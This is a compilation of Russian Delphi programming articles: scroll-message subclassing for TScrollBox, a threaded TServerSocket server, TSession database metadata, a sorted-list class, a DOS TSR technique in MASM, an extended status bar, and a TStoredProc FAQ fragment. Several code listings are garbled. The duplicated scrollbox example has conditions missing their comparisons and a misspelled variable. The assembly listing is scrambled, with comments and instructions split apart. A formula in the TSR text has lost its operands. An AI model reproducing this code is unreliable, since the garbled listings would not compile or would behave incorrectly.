    {Get the vertical scroll box position}
    TheRange := GetScrollPos(WindowHandle,
      SB_VERT);
    {Make sure we wont exceed the range}
    if TheRange < TheRangeMin then
      TheRange := TheRangeMin
    else if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
    {Set the horizontal scroll bar}
    SetScrollPos(WindowHandle,
      SB_HORZ,
      TheRange,
      true);
  end;
  if TheMessage = WM_HSCROLL then
  begin
    {Get the min and max range of the horizontal scroll box}
    GetScrollRange(WindowHandle,
      SB_VERT,
      TheRangeMin,
      TheRangeMax);
    {Get the horizontal scroll box position}
    TheRange := GetScrollPos(WindowHandle,
      SB_HORZ);
    {Make sure we wont exceed the range}
    if TheRange < TheRangeMin then
      TheRange := TheRangeMin
    else if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
    {Set the vertical scroll bar}
    SetScrollPos(WindowHandle,
      SB_VERT,
      TheRange,
      true);
  end;
  { Call the old Window procedure to }
  { allow processing of the message. }
  NewWindowProc := CallWindowProc(OldWindowProc,
    WindowHandle,
    TheMessage,
    ParamW,
    ParamL);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  { Set the new window procedure for the control }
  { and remember the old window procedure. }
  OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
    GWL_WNDPROC,
    LongInt(@NewWindowProc)));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  { Set the window procedure back }
  { to the old window procedure. }
  SetWindowLong(ScrollBox1.Handle,
    GWL_WNDPROC,
    LongInt(OldWindowProc));
end;

Как перехватить сообщения прокрутки в TScrollBox.

Следующий пример перхватывает сообщения скроллирования в компоненте TScrollBox, тем самым синхронизируя два скролбара. Если один из скролбаров изменяет своё положение, то значение второго скролбара изменяется на такую же величину. Сообщения скролирования перехватываются путём сабклассинга оконной процедуры (WinProc) у скролбара.

type
  {$IFDEF WIN32}
  WParameter = LongInt;
  {$ELSE}
  WParameter = Word;
  {$ENDIF}
  LParameter = LongInt;
{Declare a variable to hold the window procedure we are replacing}
var
  OldWindowProc : Pointer;
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter;
ParamW : WParameter; ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
var
  TheRangeMin : integer;
  TheRangeMax : integer;
  TheRange : integer;
begin
  if TheMessage = WM_VSCROLL then
  begin
    {Get the min and max range of the horizontal scroll box}
    GetScrollRange(WindowHandle, SB_HORZ, TheRangeMin, TheRangeMax);
    {Get the vertical scroll box position}
    TheRange := GetScrollPos(WindowHandle, SB_VERT);
    {Make sure we wont exceed the range}
    if TheRange then
      TheRange := TheRangeMin
    else
    if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
    {Set the horizontal scroll bar}
    SetScrollPos(WindowHandle, SB_HORZ, TheRange, true);
  end;
  if TheMessage = WM_HSCROLL then
  begin
    {Get the min and max range of the horizontal scroll box}
    GetScrollRange(WindowHandle, SB_VERT, heRangeMin, TheRangeMax);
    {Get the horizontal scroll box position}
    TheRange := GetScrollPos(WindowHandle, SB_HORZ);
    {Make sure we wont exceed the range}
    if TheRange then
      TheRange := TheRangeMin
    else
    if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
    {Set the vertical scroll bar}
    SetScrollPos(WindowHandle, SB_VERT, TheRange, true);
  end;
  {Call the old Window procedure to allow processing of the message.}
  NewWindowProc := CallWindowProc(OldWindowProc, WindowHandle,
  TheMessage, ParamW, ParamL);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  {Set the new window procedure for the control and remember
  the old window procedure.}
  OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
  GWL_WNDPROC, LongInt(@NewWindowProc)));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  {Set the window procedure back to the old window procedure.}
  SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(OldWindowProc));
end;

Использование компонента TServerSocket.

Статьи по Delphi (017)…
Попал фидошник в ад. Ему черт говорит: - Тебе определено 1000 лет наказания, но т. к. я люблю анекдоты, то разрешаю их тебе рассказывать. Пока ты их рассказываешь, этот срок будет вычтен из твоего наказания. Ну, фидошник начинает травить анекдоты. Год... два... 100 лет... 900 лет прошло, он все рассказывает. Наконец, на 999 году замолкает. - Все, анекдоты закончились? Ну, давай хоть год тебя помучаю. - Да погоди ты, сейчас вторую часть офтопик-листа достану!

В Delphi документации по многопотоковому TServerSocket налито довольно много воды, и начинающему программисту сложно понять суть дела. Давайте попытаемся пролить немного света на этот раздел хелпа.

Вообще-то, создать многопотоковый сервер, который ожидает пришедшие сообщения на сокете довольно просто. В Delphi для этой цели достаточно использовать компонент TServerSocket.

Давайте рассмотрим структуру работы данного компонента:

Добавляем TServerSocket в Вашу основную форму. Устанавливаем свойство Servertype в stThreadBlocking Создаём новый "unit" (показанный ниже) содержащий поток сервера.

Устанавливаем следующий код на OnSocketGetThread.

procedure TfrmMain.fSocketGetThread(Sender: TObject;
ClientSocket: TServerClientWinSocket;
var
  SocketThread: TServerClientThread);
begin
  // Здесь создаём объект TServerThread, который я привожу ниже.
  // Новый объект создаётся каждый раз, когда когда установлен канал связи.
  SocketThread := TServerThread.Create( FALSE, ClientSocket );
end;

TServerThread - это объект, который я создаю самостоятельно. Объект наследуется от TServerClientThread и содержит код, который обычно читает и пишет данные из/в сокет.

Созданный Unit, содержит следующий код:

unit serverthread;
interface
uses
  windows, scktcomp, SysUtils, Classes, Forms;
type
  EServerThread = class( Exception );
  // serverthread это потомок TServerClientThread
  TServerThread = class( TServerClientThread )
  private
    fSocketStream : TWinSocketStream;
  public
    procedure ClientExecute; override;
    // ClientExecute отменяет
    // TServerClientThread.ClientExecute
    // и содержит код, который
    // выполняется при старте потока
  end;
implementation
procedure TServerThread.ClientExecute;
begin
  inherited FreeOnTerminate := TRUE;
  try
    fSocketStream := TWinSocketStream.Create( ClientSocket, 100000 );
    // 100000 - это таймаут в миллисекундах.
    try
      while ( not Terminated ) and ( ClientSocket.Connected ) do
        try
          // В это место обычно помещается код,
          // ожидающий входных данных, читающий из сокета или пишущий в него
          // Пример, приведённый ниже, показывает, что можно добавить в данную
          // секцию программы.
        except
          on e:exception do
          begin
            // Если произошла ошибка, то закрываем сокет и выходим
            ClientSocket.Close;
            Terminate;
          end;
        end;
    finally
      fSocketStream.Free;
    end;
  except
    on e:exception do
    begin
      // Если произошла ошибка, то закрываем сокет и выходим
      ClientSocket.Close;
      Terminate;
    end;
  end;
end;

Когда связь установлена, потоку необходимо ожидать входящих данных(запроса от клиента). Для этого можно использовать следующий код:

if (not Terminated) and (not fSocketStream.WaitForData(1000000)) then
begin
  // Обработчик таймаута (т.е. если по истечении 1000000 миллисекунд
  // от клиента не пришло запроса
end;
// В сокете есть входящие данные!

Для чтения данных, Вам понадобится создать буфер для хранения полученных данных. Обычно буфер - это PByteArray или массив символов. В этом примере я обозвал буфер как fRequest который является массивом символов. Кроме того я ожидаю фиксированное количество байт. Массив имеет постоянный размер REQUESTSIZE.

var
  ac, readlen: integer;
begin
  FillChar( fRequest, REQUESTSIZE, 0 );
  ac := 0;
  repeat
    readlen := fSocketStream.read( fRequest[ac], 1024 );
    // считываем блоки по 1024 байт, до тех пор, пока буфер
    // не заполнится
    ac := ac+readlen;
  until
    (readlen = 0) or (ac = REQUESTSIZE);
end;

Если readlen равно 0, значит больше нет входящих данных. Функция Чтения завершается через 100000 миллисекунд после запуска в TWinSocketStream.Create(). Если Вы не знаете сколько времени нужно ожидать запроса от клиента, то чем меньше будет таймаут, тем лучше. В большинстве случаев максимальный таймаут не должен превышать 30 секунд.

При посылке ответа, Вы должны знать, в каком режиме работает клиент. Многие клиенты ожидают только один пакет ответа, другие ожидают несколько пакетов. В этом примере, я подразумеваю клиента, который ожидает только один пакет, так что я должен послать мои данные назад в одном блоке:

fSocketStream.WriteBuffer(fRep, fReplySize);

FRep это буфер, содержащий ответ на запрос клиента, и fReplySize - это размер буфера.

Информация о базах данных при помощи TSession.

Автор: Александр Баранецкий Часто приходиться решать те или иные задачи решение которых заложенны в информации о базе данных. Это состояние таблиц в базе, полей в таблице. Имена драйверов. Параметры алиасов, драйверов и.т.д, и.т.п. И тогда начинается самое интересное в деятельности программиста "как быть и что делать". В этой статье не будет описанно какими методоми получить данные из базы. Концепция этой статьи заложенна в описании "физических аспектов" баз. Ну как сказал мне начальник ЦИТа КОДТ господин Дукенбаев Саулебек - "Ты должень быть программистом, а не философом". Так что, ближе к сути.

В Delphi для получения инфы о базе очень хорошо применять Tsession. можно применить компонент Session на закладке BDE. Но будем вызывать методы компонента так "вручную". хочу обратить ваше внимание на следующие "полезные" процедуры и функции.

// Собирает и заносит в "LIST" наши искомые базы.
procedure TSession.GetDatabaseNames(List: TStrings);
// Принимает на себя имя базы и заносит в "LIST" наши искомые Tables.
procedure TSession.GetTableNames(const DatabaseName, Pattern: string;
  Extensions, SystemTables: Boolean; List: TStrings);
// Принимает базу затем таблицу в ней и заносит в "LIST" наши искомые поля
procedure TSession.GetFieldNames(const DatabaseName,
  TableName: string; List: TStrings);
// Тоже полезная проца Заносит в лист АLIАS"ы
procedure TSession.GetAliasNames(List: TStrings);
Alias(для тех кто не знает) - это псевдоним базы. Т.е кней можно обратиться не по конкретному пути например "C:\data\Hello.db" а по псевдониму, например "Hello", в котором хранится имя базы. Например я знаю кто такая АЛСУ а до сих пор не знаю ее имя, Псевдоним!!!.
// Возвращает в List имена зарегестрированных драйверов.
procedure TSession.GetDriverNames(List: TStrings);
// Возвращает в лист все параметры указанного драйвера.
procedure TSession.GetDriverParams(const DriverName: string; List: TStrings);
// Возращает в лист"е параметры указанного алиаса
procedure TSession.GetAliasParams(const AliasName: string; List: TStrings);
// Возращает в строке имя драйвера которого использует алиас.
function TSession.GetAliasDriverName(const AliasName: string): string;

Выше были описанны только самые основные методы Tsession, как правило наиболее часто используемые. Ну и чтобы не быть голословными небольшой примерчик "дерева" базы, почти как у Data Base Tree только еще и список полей фиксируется в дереве.

procedure Tdbview.Button4Click(Sender: TObject);
var
  I, D, q: Integer;
  S, Tables, Fields: TStringList;
  Mt: TTreeNode;
begin
  try
    with Dt.Items do
    begin
      s := TStringList.Create;
      Tables := TStringList.Create;
      fields := TStringList.Create;
      Session.GetDatabaseNames(s);
      for i := 0 to S.Count - 1 do
      begin
        try
          mt := Add(nil, S[i]);
          Session.GetTableNames(S[i], '', true, true, Tables);
          for D := 0 to Tables.Count - 1 do
          begin
            AddChild(MT, Tables[d]);
            Session.GetFieldNames(S[i], Tables[d], Fields);
            for q := 0 to Fields.Count - 1 do
              AddChild(Mt[d], Fields[q]);
          end;
        except
          Continue;
        end;
      end;
    end;
  finally
    s.Free;
    Tables.Free;
    Fields.Free;
  end;
end;
При написании этого алгоритма был "высвечен" баг который мне внезапно открыл "запоролированную базу" и что только люди не скрывают да баги подводят. О баге этом поговорим в другой раз. Все примеры вызова процедур, а также пример "дерева" вы сможете найти на, хорошо закоментированном, приложенном демо пректе pr_data. Для любой Delphi(5-7).

P.S. если у когото есть в несколько раз лучшие методы прошу пришлите их мне на мыло.

TSortList - работа с отсортированным списком.

Автор: Юрий Иванов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> TSortList - работа с отсортированным списком
Класс для работы с отсортированным списком. Использует базовый класс TList.
Позволяет добавлять элементы в отсортированном порядке, производить
быстрый поиск элементов и очищать память указателей и память,
распределенную для элементов хранения.
Добавлены 1 свойство и 4 новых метода:
Свойство:
Compare - имя функции сравнения типа TListSortCompare.
Методы:
AddSort - позволяет добавлять элементы в список в отсортированном порядке.
Search - осуществляет быстрый поиск элемента в отсортированном списке (возвращает его номер или -1).
GetItem - возвращает указатель на найденный элемент, если элемент отсутствует, возвращается nil.
ClearAll - очищает память указателей и память, распределенную под хранение элементов Item.
Зависимости: Classes, SysUtils
Автор:       Юрий, i7@mail.ru, Тверь
Copyright:   Юрий Иванов (http://www.ivanovtver.chat.ru/sortlistr.zip)
Дата:        30 июля 2003 г.
***************************************************** }
{******************************************************************************
* SortList *
* -------- *
* Класс для работы с отсортированным списком. Использует базовый класс TList.*
* Позволяет добавлять элементы в отсортированном порядке и производить *
* быстрый поиск элементов. *
* Добавлены 1 свойство и 4 новых метода: *
* Свойство: Compare - имя функции сравнения типа TListSortCompare. *
* Смотри описание метода Sort в TList. *
* Имя функции должно быть назначено до выполнения методов*
* AddSort и Search. Если это не сделано, то генерируется *
* ошибка. *
* Методы: AddSort - позволяет добавлять элементы в List в *
* отсортированном порядке. *
* Search - осуществляет быстрый поиск элемента в *
* отсортированном списке. Item - указатель на искомый *
* элемент. Может содержать только "ключевые" значения, *
* используемые в функции сравнения. *
* Возврат - номер элемента в списке, начиная с 0. *
* Если элемент не найден, то возвращается отрицательное *
* значение (-1). *
* GetItem - возвращает указатель на найденный элемент *
* если элемент отсутствует, возвращается nil *
* ClearAll - очищает память указателей и память, *
* распределенную под хранение элементов Item *
* Внимание! Во избежание нарушения порядка сортировки, не пользуйтесь *
* совместно с новым AddSort методами Add и Insert, *
* оставшимися от TList. *
*******************************************************************************
* Может использоваться без ограничений. *
******************************************************************************* *
* Разработчик Иванов Ю. E-mail: i7@mail.ru *
* Информацию о других разработках автора можно посмотреть на странице *
* http://i7.da.ru *
* *
* декабрь 2000 г. - июль 2002 *
*******************************************************************************
Пример использования:
interface
...
type Tdat = record
     kod: integer;
     txt: string[50];
     num: double;
end;
...
var
    ldat: TSortList;
    dat: ^Tdat;
...
implementation
//*********************************************
function Sort_dat(i1,i2: Pointer): integer;
var
d1,d2: ^Tdat;
begin
    d1:=i1; d2:=i2;
    if d1^.kod < d2^.kod then Result:=-1
    else
      if d1^.kod > d2^.kod then Result:=1
      else
        Result:=0;
end;
//*********************************************
procedure ....
var
 d: Tdat;
 pos: integer;
begin
...
   // добавление элемента
        New(dat);
        dat^.kod:=kodd;
        dat^.txt:=st;
        dat^.num:=dob;
        ldat.AddSort(dat);
    end;
...
  // поиск элемента по "ключевым полям"
        d.kod:=8613;
        pos:=ldat.Search(@d);
        if pos < 0 then
          ShowMessage('элемент '+ IntToStr(d.kod) + ' не найден')
        else
        dat:=ldat.Items[pos];
...
  // получение элемента по "ключевым полям"
        d.kod:=8613;
        dat:=ldat.GetItem(@d);
        if dat = nil then
          ShowMessage('элемент '+ IntToStr(d.kod) + ' не найден')
...
  // очистка списка и памяти элементов
        ldat.ClearAll;
...
end;
...
initialization
  ldat:=TSortList.Create;
  ldat.Compare:=Sort_dat;
finalization
  ldat.Free;
end.
*********************************************************************}
unit Sortlist;
interface
uses Classes, SysUtils;
type
  TSortList = class(TList)
  private
    Ret: integer;
    ERR: byte;
    pcl, pcr: Pointer;
    FCompare: TListSortCompare;
    procedure SetCompare(Value: TListSortCompare);
    function SearchItem(Item: Pointer): integer;
    procedure QuickSearch(Item: Pointer; L, R: integer);
  public
    procedure AddSort(Item: Pointer);
    function Search(Item: Pointer): integer;
    procedure ClearAll;
    function GetItem(Item: Pointer): Pointer;
    property Compare: TListSortCompare read FCompare write SetCompare;
  end;
implementation
//*******************************************
procedure TSortList.ClearAll;
var
  i: integer;
  Item: Pointer;
begin
  if Count <> 0 then
    for i := 0 to Count - 1 do
    begin
      item := Items[i];
      try
        Dispose(Item);
      except
      end;
    end;
  Clear;
end;
//------------------------------------------------------
procedure TSortList.SetCompare(Value: TListSortCompare);
begin
  FCompare := Value;
end;
//-----------------------------------------------------------
procedure TSortList.QuickSearch(Item: Pointer; L, R: integer);
var
  K: Integer;
  P: Pointer;
begin
  ERR := 0;
  Ret := -1;
  pcl := Items[L];
  if Compare(Item, pcl) < 0 then
  begin
    Ret := L;
    ERR := 1;
    exit;
  end
  else if Compare(Item, pcl) = 0 then
  begin
    Ret := L;
    exit;
  end;
  pcr := Items[R];
  if Compare(Item, pcr) > 0 then
  begin
    Ret := R;
    ERR := 2;
    exit;
  end
  else if Compare(Item, pcr) = 0 then
  begin
    Ret := R;
    exit;
  end;
  //-----------------
  if R - L > 1 then
  begin
    K := (R - L) div 2;
    P := items[L + K];
    if Compare(Item, P) < 0 then
      QuickSearch(Item, L, L + K)
    else
    begin
      if Compare(Item, P) > 0 then
        QuickSearch(Item, L + K, R)
      else if Compare(Item, P) = 0 then
      begin
        Ret := L + K;
        exit;
      end;
    end;
  end
  else
  begin
    ERR := 1;
    ret := R;
  end;
end;
//----------------------------------------------------
function TSortList.SearchItem(Item: Pointer): integer;
begin
  if Count > 0 then
  begin
    QuickSearch(Item, 0, Count - 1);
    Result := Ret;
  end
  else
  begin
    Result := 0;
    ERR := 2;
  end;
end;
//------------------------------------------------
function TSortList.Search(Item: Pointer): integer;
begin
  if Addr(Compare) = nil then
  begin
    Error('Функция сравнения не назначена', -1);
    Result := -1;
    exit;
  end;
  Result := SearchItem(item);
  if ERR <> 0 then
    Result := -1;
end;
//-----------------------------------------
procedure TSortList.AddSort(item: Pointer);
var
  i: integer;
begin
  if Addr(Compare) = nil then
  begin
    Error('Функция сравнения не назначена', -1);
    exit;
  end;
  i := SearchItem(item);
  if (ERR = 0) or (ERR = 1) then
    Insert(i, item)
  else if ERR = 2 then
    Add(item);
end;
//-------------------------------------------------
function TSortList.GetItem(Item: Pointer): Pointer;
var
  i: integer;
begin
  i := Search(Item);
  if i = -1 then
    Result := nil
  else
    Result := Items[i];
end;
end.

Способ создания TSR программ без PSP.

Оформил: DeeCo

В данной статье рассматривается способ построения резидентных программ - TSR (Terminate and Stay Resident), позволяющий использовать область PSP (Program Segment Prefix) для размещения резидентного кода программы. Несколько слов о TSR. При разработке TSR - программ стандартными средствами DOS в памяти после завершения программы остается PSP размером 256 байт или по крайней мере его часть, если программа использует область FCB (File Control Block) и параметров для собственных нужд. Мы расскажем Вам о способе, позволяющем полностью использовать область PSP в интересах резидентной программы и приведем пример такой программы. Данный способ был разработан авторами в начале 1989 года, когда потребовалось загрузить много крохотных TSR - программ, размер которых не превышал PSP. Кое-что о недокументированных функциях DOS. Для понимания механизма разработки TSR без PSP необходимо ознакомиться с некоторыми недокументированными функциями DOS и с форматами PSP и MCB - Memory Control Block. PSP - program segment prefix. PSP всегда строится DOS при запуске любой программы и непосредственно предшествует началу программы. Рассмотрим формат PSP.
Смещение. Размер. Описание.
00h 2 БАЙТА содержит команду INT 20h, которая используется для завершения программы
02h СЛОВО сегментный адрес свободной памяти, следующей, за памятью, выделенной программе. Это может быть либо адрес за памятью DOS (например, A000h), либо адрес следующего доступного MCB.
04h БАЙТ Резерв
05h 5 БАЙТ длинный вызов диспетчера функций DOS. Содержит команду длинного перехода к диспетчеру функций DOS. Используется в программах, ориентированных на CP/M. Смещение в команде длинного перехода содержит количество байтов, доступных в сегменте кода программы.
0Ah ДВ.СЛОВО копия вектора прерывания 22h, по которому управление передается для завершения программы.
0Eh ДВ.СЛОВО копия вектора прерывания 23h, по которому управление передается при нажатии CONTROL-BREAK или CONTROL-C.
12h ДВ.СЛОВО копия вектора прерывания 24h, по которому управление передается при обнаружении критической ошибки.
16h СЛОВО сегментный адрес PSP родительского процесса (адрес текущего PSP для процесса, у которого нет родителя).
18h 20 БАЙТ FILE HANDLE TABLE. Содержит 20 однобайтовых индексов для системной таблицы файлов. Первые пять входов предназначены для STDIN, STDOUT,STDERR, AUXIO и LSTOUT.
2Ch СЛОВО сегментный адрес блока среды для процесса.
2Eh ДВ.СЛОВО область сохранения указателя стека процесса, когда процесс использует стек DOS (т.е. содержимое SS:SP перед последним подключением функции DOS с помощью INT 21h).
32h СЛОВО максимальное количество входов в FILE HANDLE TABLE (по умолчанию 20).
34h ДВ.СЛОВО адрес FILE HANDLE TABLE (стандартно указывает на таблицу в текущем PSP).
38h 24 БАЙТА Резерв
50h 3 БАЙТА команда INT 21h, за которой следует команда far RET. Используется для вызова диспетчера функций DOS.
53h 2 БАЙТА Резерв
55h 7 БАЙТ расширение первого FCB.
5Ch 16 БАЙТ начальные байты первого неоткрытого FCB. Открытие данного FCB приведет к разрушению второго FCB и байта с длиной командной строки.
6Ch 16 БАЙТ начальные байты второго неоткрытого FCB. Открытие данного FCB приведет к разрушению командной строки.
7Сh ДВ.СЛОВО Резерв
80h 128 БАЙТ область DTA (Data Transfer Area) по умолчанию. Перекрывает байт с длиной командной строки и буфер командной строки (127 байтов).
Размер блока - 256 байт. MCB - memory control block. MCB является блоком DOS описывающим каждый распределенный участок памяти. Как правило MCB всегда строится перед PSP исполняемой программы. Рассмотрим формат MCB.
Смещение. Размер. Описание.
00h БАЙТ тип блока: 'M' (4Dh) - промежуточный блок; 'Z' (5Ah) - последний блок.
01h СЛОВО сегмент владельца блока, 0 - свободный блок.
03h СЛОВО количество параграфов в блоке.
05h 11 БАЙТ Резерв
Размер блока - 16 байт. Недокументированные функции DOS. Рассмотрим теперь недокументированные функции DOS, которые используются для построения TSR без PSP. установить текущий PSP. Данная функция указывает DOS, что в качестве текущего следует использовать указанный PSP. Входные параметры: AH = 50h BX = сегментный адрес нового PSP. создать подчиненный PSP. Данная функция требует от DOS создать подчиненный PSP. В отличии от функции 26h данные не копируются из текущего PSP, а строятся заново. Входные параметры: AH = 55h BX = сегментный адрес для построения нового PSP. SI = значение, которое требуется установить в поле со смещением 2 в новом PSP. Процесс завершения резидентной программы. Сущность завершения резидентной программы без PSP состоит в создании нового PSP и указании DOS использовать этот PSP в качестве активного. При этом сам текст резидентной части перемещается на начало старого PSP. Рассмотрим последовательность действий при завершении программы. Освободить ENVIRONMENT, адрес которого находится в PSP по смещению 2Ch. Вообще говоря, это действие не связано с собственно процессом завершения резидентной программы без PSP и рекомендуется для любого способа завершения резидентных программ. Изменить размер памяти, используемый программой, указав в качестве нового размера длину резидентной части программы в параграфах, а в качестве адреса модифицируемой памяти - сегментный адрес PSP. Для выполнения используется функция DOS 4Ah. Если резидентная часть начинается с начала программы, то ее следует сначала сохранить, т.к. при освобождении памяти в теле программы будет построен новый MCB. Также целесообразно зарезервировать после резидентной части участок длиной 16 байт для MCB, чтобы последующие действия не уничтожили дальнейший код программы. Вычисляется сегментный адрес для построения нового PSP по формуле ++1 (размер MCB в параграфах). Строится новый PSP по вычисленному сегментному адресу с использованием функции 55h. В качестве значения SI берется поле со смещением 2 в старом PSP. Корректируется адрес родительского PSP в новом PSP по смещению 16h. Значение выбирается из поля с таким же смещением из старого PSP. Новый PSP указывается DOS в качестве текущего с использованием функции 50h. Корректируется указатель на собственника памяти в новом MCB по смещению 01h. MCB расположен по сегментному адресу равному сегменту нового PSP минус 1. Значение указателя устанавливается равным сегментному адресу нового PSP. Резидентная часть программы пересылается по адресу сегмента старого PSP со смещением 0. Выполняются необходимые действия для настройки резидентной части. Их можно также выполнить заранее. Программа завершается обычным образом по функции DOS 04Ch. Совместимость. Данный метод опробован в различных совместимых операционных средах: - MS/PC DOS 3.30; - MS/PC DOS 4; - MS DOS 5 beta release; - DR DOS 3.41; - DR DOS 5; - с использованием загрузчика LOADHI от системы QEMM 5.0; - с использованием загрузки в старшую память HILOAD DR DOS 5. Пример резидентной программы без PSP. Для лучшего понимания порядка завершения резидентной программы без PSP приведем пример.
page 60, 132
title NONPSP - Резидентная программа без PSP
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
  = = = = = = = = = = = = = = = = =
;
;
Пример построения резидентной программы без PSP
;
;
Авторские права ГРУППЫ ПРОГРАММИСТОВ 2 B
;
;
Язык программирования: Ассемблер
;
Транслятор: MASM
;
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
  = = = = = = = = = = = = = = = = = =
;
;
сообщить транслятору адресацию
;
assume cs: code, ds: code, es: nothing
;
;
определить сегмент кода
;
code segment para
;
subttl Резидентная часть программы
;
ResStart label
  byte;
  определим начало программы
    ;
  Текст резидентной части.
ResEnd label
  byte;
  конец резидентной части
    ResLen equ ResEnd - ResStart;
  размер резидентной части в
    ;
  байтах
    ResSize equ(ResEnd - ResStart + 15) / 16;
  размер резидентной
    ;
  части в параграфах
    org ResStart + ResSize * 16;
  для выравнивания на
    ;
  границу параграфа
    ;
  page
    subttl Инициализация резидентной программы без PSP
    ;
  MCBLen equ 10 h;
  размер MCB
    ;
  PSPMCB db MCBlen dup(0);
  резервная область для MCB
    SavRes db ResLen dup(0);
  область сохранения
    ;
  резидентной части
    ;
  PspOld dw 0;
  для адреса старого PSP
    PspNew dw 0;
  для адреса нового PSP
    ;
  ;
  сообщения
    ;
MsgInst label
  byte
    db 0 ah, 0 dh
    db 'Программа установлена'
    db 0 ah, 0 dh
    db '$'
  MsgNoInst label
  byte
    db 0 ah, 0 dh
    db 'Ошибка. Программа не установлена'
    db 0 ah, 0 dh
    db '$'
    ;
  = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
    = = = = = = = = = = = = = = = = =
    ;
  ;
  процедура инициализации резидентной программы без PSP
    ;
  ;
  = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
    = = = = = = = = = = = = = = = = =
    ini proc far
    ;
  cld;
  для операций
    пересылки
    mov cs: PspOld, ds;
  сохраним старый PSP
    ;
  ;
  Освобождение environment
    ;
  mov ax, ds: [2 ch];
  адрес сегмента
    mov es, ax;
  environment
    cmp ax, 0;
  есть environment ?
    je Go1;
  нет
    mov ah, 49 h;
  код функции
    int 21 h;
  освободить
    ;
  память
    jnc Go1;
  успешно
    jmp ErrorRet;
  неуспешно
    Go1:
  mov word ptr ds: [2 ch], 0;
  укажем, что нет
    ;
  environment
    push cs;
  установим
    pop es;
  ES
    push cs;
  установим
    pop ds;
  DS
    ;
  ;
  запомним резидентную часть
    ;
  т.к.она будет разрушена при построении новых PSP и MCB
    ;
  mov si, Offset ResStart;
  откуда
    mov di, Offset SavRes;
  куда
    mov cx, ResLen;
  сколько
    rep movsb;
  перешлем
    ;
  ;
  модифицируем размер памяти текущей программы от сегмента
    ;
  PSP на длину резидентной части
    ;
  это приведет к построению нового MCB в теле программы
    ;
  mov ah, 4 ah;
  модифицируем память
    mov bx, ResSize;
  размер резидентной
    ;
  части
    mov es, PspOld;
  сегмент старого PSP
    int 21 h;
  выполним
    jnc Go2;
  успешно
    jmp ErrorRet;
  неуспешно
    Go2:
  ;
  ;
  подсчитаем сегмент памяти для нового PSP
    ;
  mov ax, ResSize;
  длина резидентной
    ;
  части в параграфах
    add ax, PspOld;
  плюс сегмент
    ;
  старого PSP
    add ax, MCBLen / 16;
  плюс длина MCB
    mov PspNew, ax;
  запомним сегмент
    ;
  для нового PSP
    ;
  ;
  создадим новый PSP
    ;
  mov es, PspOld;
  адрес старого PSP
    mov si, word ptr es: [02 h];
  конец памяти
    mov ah, 55 h;
  построим
    ;
  подчиненный PSP
    mov dx, PspNew;
  сегмент нового PSP
    int 21 h;
  выполним
    ;
  ;
  скорректируем указатель на родительский PSP в новом PSP
    ;
  mov es, PspOld;
  сегмент старого PSP
    mov ax, word ptr es: [16 h];
  адрес родительского
    ;
  PSP
    mov es, PspNew;
  сегмент нового PSP
    mov word ptr es: [16 h], ax;
  скорректируем
    ;
  ;
  сообщим DOS о новом активном PSP
    ;
  mov bx, PspNew;
  сегмент нового PSP
    mov ah, 50 h;
  функция указания нового PSP
    int 21 h;
  выполним
    ;
  ;
  укажем принадлежность полученной памяти для нового PSP
    ;
  mov ax, bx;
  сегмент нового PSP
    sub ax, 1;
  сегмент
    ;
  построенного MCB
    mov es, ax
    ;
  = = = = = = = = = = = = = = = = = =
    mov word ptr es: [01 h], bx;
  скорректируем адрес
    ;
  владельца памяти
    ;
  ;
  переместим резидентную часть на старый PSP
    ;
  mov es, PspOld;
  адрес старого PSP
    mov cx, ResLen;
  размер резидентной
    ;
  части
    mov di, 0;
  куда
    mov si, Offset SavRes;
  откуда
    rep movsb;
  переместим
    push cs;
  восстановим
    pop es;
  ES
    ;
  ;
  Успешный выход из программы
    ;
  PrgEnd:
  mov ah, 09 h;
  выведем сообщение
    mov dx, offset MsgInst;
  об успешной
    ;
  установке
    int 21 h;
  mov ax, 4 c00h;
  завершим программу
    int 21 h;
  обычным
    ;
  образом с кодом 0
    ;
  ;
  Выход из программы по ошибке
    ;
  ErrorRet:
  push cs;
  установим адресацию
    pop ds;
  данных
    mov ah, 09 h;
  выведем сообщение
    mov dx, offset MsgNoInst;
  о неуспешной
    ;
  установке
    int 21 h;
  mov ax, 4 c04h;
  завершим программу
    int 21 h;
  обычным
    ;
  образом с кодом 4
    ini endp
    ;
  code ends
    ;
  ;
  СТЕК
    ;
  stack segment stack
    dw 512 dup(0)
    stack ends
end ini

TStatusBar с другими контролами.

Автор: man2002ua WEB-сайт: http://forum.vingrad.ru

Этот StatusBar позволит размещать на себе любые другие контролы. Создаем новый компонент от StatusBar и првим код как внизу. Потом инсталлируем и все.

unit StatusBarExt;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls;
type
  TStatusBarExt = class(TStatusBar)
  public
    constructor Create(AOwner: TComponent); override; // добавить конструктор
  end;
procedure Register;
implementation
uses Consts; // не забыть
constructor TStatusBarExt.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  ControlStyle := ControlStyle + [csAcceptsControls]; // собственно все!
end;
procedure Register;
begin
  RegisterComponents('Samples', [TStatusBarExt]);
end;
end.

Проблемы использования компонента TStoredProc.

Автор: Наталия Елманова WEB-сайт: http://www.sources.ru Недавно я перешел на использование Oracle, но все мои попытки использовать компонент TStoredProc оказываются неудачными. Почему? Причины неработоспособности компонента TStoredProc могут быть следующими. Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).

